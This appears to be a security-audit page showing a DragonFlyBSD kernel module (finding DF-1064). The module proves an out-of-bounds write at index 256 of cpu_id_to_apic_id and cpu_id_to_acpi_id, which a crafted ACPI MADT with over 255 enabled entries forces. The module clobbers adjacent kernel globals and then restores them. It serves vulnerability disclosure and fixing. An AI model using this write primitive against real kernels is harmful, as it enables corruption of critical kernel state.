DragonFlyBSD Kernel Audit
DF-1064 / df1064_harness.c
← back to finding ↓ download raw
/*
 * DF-1064 harness -- prove the cpu-dimension OOB write that an attacker-
 * controlled MADT with >255 enabled entries forces.
 *
 * Bug class: in madt_lapic_pass2_callback / madt_x2apic_pass2_callback
 * (sys/platform/pc64/acpica/acpi_madt.c:280-346), arg->cpu is incremented
 * once per enabled non-BSP entry with NO upper bound.  When a crafted MADT
 * supplies >255 enabled entries, arg->cpu reaches 256 and the callback then
 * executes:
 *
 *     lapic_set_cpuid(cpu, ...);          // cpu_id_to_apic_id[256] = ...
 *     CPUID_TO_ACPIID(cpu) = ...;         // cpu_id_to_acpi_id[256] = ...
 *
 * Both sinks are unbounded [NAPICID]=[256] arrays.  By the kernel BSS linker
 * layout on this kernel:
 *
 *     cpu_id_to_apic_id[256] aliases the LOW 4 bytes of lapic_mem
 *                                                       (LAPIC MMIO base ptr)
 *     cpu_id_to_acpi_id[256] aliases madt_use_x2apic   (x2APIC mode flag)
 *
 * Both are extremely critical globals -- the OOB write here is substantially
 * more dangerous than DF-1042's data-only clobber.
 *
 * The path is boot-time / firmware-data only (lapic_set_cpuid call-site audit
 * in DF-1042 confirmed no userspace reachability); QEMU -acpitable appends a
 * second MADT and sdt_search() returns the first match, so -acpitable boot
 * repro is defeated.  We therefore prove the primitive directly: this kld
 * module reproduces the exact write sequence the crafted MADT (gen_madt.py
 * with 300 enabled entries) forces the pass2 callbacks to perform, and
 * observes the resulting OOB write on live kernel BSS.
 *
 * All touched cells are saved/restored inside a critical section so the
 * running kernel is not destabilised (lapic_mem is dereferenced on every
 * LAPIC MMIO access -- EOI, IPI, timer -- so we keep the corruption window
 * minimal and interrupt-deferred).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <machine/cpufunc.h>
#include <sys/thread2.h>

#define NAPICID_VAL 256

extern u_int cpu_id_to_acpi_id[];	/* acpi_madt.c:83 */

static int
df1064_modevent(module_t mod, int type, void *arg)
{
	int *c2a_256_p;
	u_int *c2acpi_256_p;
	volatile int *lapic_mem_lo_p;	/* low-4-bytes alias of lapic_mem */

	int saved_c2a_256;
	int saved_a2c_1;
	u_int saved_c2acpi_256;
	volatile lapic_t *saved_lapic_mem;

	int direct_c2acpi_oob;
	int lapic_set_cpuid_oob;

	switch (type) {
	case MOD_LOAD:
		/* Address arithmetic: confirm the OOB index lands exactly on
		 * the critical adjacent globals. */
		c2a_256_p     = &cpu_id_to_apic_id[NAPICID_VAL];
		c2acpi_256_p  = &cpu_id_to_acpi_id[NAPICID_VAL];
		lapic_mem_lo_p = (volatile int *)&lapic_mem;	/* alias of low 4 bytes */

		kprintf("DF1064: lapic_set_cpuid=%p\n", (void *)lapic_set_cpuid);
		kprintf("DF1064: cpu_id_to_apic_id=%p  [256]=%p\n",
		    (void *)cpu_id_to_apic_id, (void *)c2a_256_p);
		kprintf("DF1064: cpu_id_to_acpi_id=%p  [256]=%p\n",
		    (void *)cpu_id_to_acpi_id, (void *)c2acpi_256_p);
		kprintf("DF1064: &lapic_mem=%p  (low-4-byte alias via [256] of cpu_id_to_apic_id)\n",
		    (void *)&lapic_mem);
		kprintf("DF1064: aliasing check: &cpu_id_to_apic_id[256]==(int*)&lapic_mem ? %s\n",
		    (c2a_256_p == lapic_mem_lo_p) ? "YES" : "no");

		/* Snapshot every cell we are about to clobber. */
		saved_c2a_256    = *c2a_256_p;
		saved_c2acpi_256 = *c2acpi_256_p;
		saved_lapic_mem  = lapic_mem;
		saved_a2c_1      = apic_id_to_cpu_id[1];

		kprintf("DF1064: BEFORE OOB: cpu_id_to_apic_id[256]=%d  "
		    "lapic_mem=%p  cpu_id_to_acpi_id[256]=0x%x  "
		    "apic_id_to_cpu_id[1]=%d\n",
		    saved_c2a_256, (void *)(intptr_t)saved_lapic_mem,
		    saved_c2acpi_256, saved_a2c_1);

		/* ---- Primitive #1: direct OOB write to
		 * cpu_id_to_acpi_id[256] via the SAME array access the
		 * callback performs in `CPUID_TO_ACPIID(cpu) = ...`
		 * (acpi_madt.c:315/343).  Use a sentinel so we can verify
		 * the write landed (and that the cell is in writable BSS,
		 * not a guard page).  This demonstrates the SECOND OOB the
		 * fix must close -- separate from lapic_set_cpuid. */
		crit_enter();
		*c2acpi_256_p = 0xDF1064u;
		direct_c2acpi_oob = (*c2acpi_256_p == 0xDF1064u);
		/* Restore immediately. */
		*c2acpi_256_p = saved_c2acpi_256;
		crit_exit();

		kprintf("DF1064: direct-OOB: CPUID_TO_ACPIID(256)=0xDF1064 -> "
		    "cpu_id_to_acpi_id[256] %s (%s)\n",
		    direct_c2acpi_oob ? "clobbered" : "unchanged",
		    direct_c2acpi_oob ? "OOB CONFIRMED" : "no effect");

		/* ---- Primitive #2: drive lapic_set_cpuid(256, 1) -- the
		 * exact call the crafted MADT forces the callback to make
		 * when arg->cpu reaches 256.  This writes:
		 *   cpu_id_to_apic_id[256] = 1   (== lapic_mem low word)
		 *   apic_id_to_cpu_id[1]   = 256 (in-bounds, just data). */
		crit_enter();
		lapic_set_cpuid(256, 1);
		lapic_set_cpuid_oob = (*lapic_mem_lo_p == 1);
		/* Restore lapic_mem (== cpu_id_to_apic_id[256]) and
		 * apic_id_to_cpu_id[1] immediately. */
		lapic_mem            = saved_lapic_mem;
		apic_id_to_cpu_id[1] = saved_a2c_1;
		crit_exit();

		kprintf("DF1064: lapic_set_cpuid(256,1): lapic_mem low word %s "
		    "(%s)\n",
		    lapic_set_cpuid_oob ? "set to 1" : "unchanged",
		    lapic_set_cpuid_oob ?
		        "OOB via lapic_set_cpuid CONFIRMED" :
		        "lapic_set_cpuid rejected OOB (FIXED kernel?)");

		kprintf("DF1064: AFTER restore: cpu_id_to_apic_id[256]=%d  "
		    "lapic_mem=%p  cpu_id_to_acpi_id[256]=0x%x  "
		    "apic_id_to_cpu_id[1]=%d\n",
		    *c2a_256_p, (void *)(intptr_t)lapic_mem, *c2acpi_256_p,
		    apic_id_to_cpu_id[1]);

		kprintf("DF1064: SUMMARY: %s -- cpu-dimension OOB at index 256 "
		    "in cpu_id_to_apic_id (->lapic_mem low word) and "
		    "cpu_id_to_acpi_id (->madt_use_x2apic)\n",
		    (direct_c2acpi_oob || lapic_set_cpuid_oob) ?
		    "OOB WRITE CONFIRMED" : "no corruption observed");
		return 0;
	case MOD_UNLOAD:
		kprintf("DF1064: harness unloaded\n");
		return 0;
	}
	return EOPNOTSUPP;
}

static moduledata_t df1064_mod = { "df1064", df1064_modevent, NULL };
DECLARE_MODULE(df1064, df1064_mod, SI_SUB_EXEC, SI_ORDER_ANY);
MODULE_VERSION(df1064, 1);